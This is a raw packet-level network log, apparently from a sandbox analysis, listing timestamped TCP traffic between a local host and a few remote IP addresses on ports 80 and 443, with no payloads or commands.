Nov 20, 2024 16:50:55.196583986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.196623087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.197143078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.197186947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.197354078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.197391033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.197977066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.198072910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.198177099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.198219061 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.198873997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.198931932 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.199600935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.199820042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.199820995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.199835062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.199857950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.199875116 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.201090097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.201103926 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.201149940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.201618910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.201668024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.201981068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.202116966 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.202531099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.202552080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.202589989 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.203489065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.203541994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.203752041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.203805923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.204400063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.204459906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.204571962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.204617023 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.205352068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.205401897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.205638885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.205684900 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.206239939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.206346989 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.206414938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.206459999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.207143068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.207205057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.207385063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.207437992 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.208101988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.208151102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.208367109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.208411932 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.209011078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.209076881 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.209095001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.209139109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.209939957 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.209953070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.210001945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.210031033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.210925102 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.210992098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.210994005 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.211028099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.211812973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.211824894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.211891890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.212809086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.212821960 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.212865114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.213704109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.213716030 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.213752985 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.214546919 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.214596033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.214627028 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.214730978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.215437889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.215450048 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.215497017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.216344118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.216402054 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.216487885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.216547012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.217263937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.217317104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.217459917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.217502117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.218183041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.218214035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.218276978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.219115019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.219162941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.219198942 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.219234943 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.220060110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.220079899 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.220110893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.220133066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.220956087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.221014977 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.221019983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.221064091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.221878052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.221925020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.221971035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.222022057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.222861052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.222872019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.222918987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.222944021 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.223747969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.223800898 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.223813057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.223853111 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.224751949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.224764109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.224801064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.224818945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.225646973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.225694895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.226110935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.226159096 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.226531029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.226542950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.226587057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.227421999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.227436066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.227487087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.228333950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.228348017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.228657007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.229218006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.229231119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.229269028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.230216980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.230230093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.230267048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.231092930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.231125116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.231168985 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.232023001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.232152939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.232209921 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.232253075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.232868910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.232978106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.233215094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.233452082 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.233828068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.233874083 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.233921051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.233963013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.236263037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.236314058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.238805056 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.238877058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.240154982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.240174055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.240201950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.240212917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.240309954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.240323067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.240338087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.240356922 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.241491079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.241740942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.241828918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.241878986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.242541075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.242557049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.242619991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.243204117 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.243248940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.243732929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.243783951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.244381905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.244543076 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.244555950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.244596004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.245229006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.245296001 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.245601892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.245750904 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.246088982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.246139050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.246408939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.246488094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.246913910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.246965885 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.328576088 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:55.328624010 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:55.328690052 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:55.328928947 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:55.328944921 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:55.364815950 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.364835024 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.364875078 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.364897013 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.364918947 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.364937067 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.364959955 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.387336016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.387423992 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.387486935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.387501001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.387512922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.387557983 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.388499975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.388592958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.388638020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.388657093 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.389488935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.389544010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.389630079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.389664888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.390255928 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.390314102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.390630007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.390686035 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.391031027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.391072989 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.391247034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.391367912 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.391818047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.391875982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.392196894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.392256021 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.393016100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.393068075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.393471956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.393526077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.393685102 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.393697023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.393769026 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.394608021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.394709110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.395308971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.395353079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.395468950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.395520926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.395592928 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.395663023 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.396411896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.396683931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.396826029 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.397383928 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.397397041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.397460938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.398268938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.398334980 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.398802042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.398858070 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.399159908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.399207115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.399594069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.399638891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.400190115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.400203943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.400233030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.400248051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.401043892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.401096106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.401375055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.401427031 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.401967049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.401978970 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.402137041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.402846098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.402935982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.403016090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.403063059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.403755903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.403804064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.404500008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.404540062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.404715061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.404727936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.404762030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.405659914 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.405736923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.405771017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.405863047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.406585932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.406599045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.406636953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.407685041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.407699108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.407766104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.408382893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.408447981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.408557892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.408626080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.409295082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.409342051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.409626007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.410000086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.410254955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.410267115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.410316944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.411144018 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.411166906 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.411206961 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.411211967 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.411218882 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.411226034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.411250114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.411251068 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.411278963 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.411279917 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.412055016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.412122965 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.412177086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.413031101 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.413043022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.413160086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.413939953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.413996935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.414006948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.414043903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.414882898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.414896011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.414932013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.415709972 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.415838957 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.416193962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.416349888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.416680098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.416692972 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.416871071 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.417570114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.417618036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.417922974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.417969942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.418497086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.418534994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.418576956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.419418097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.419475079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.419693947 CET	80	49752	185.215.113.206	192.168.2.9
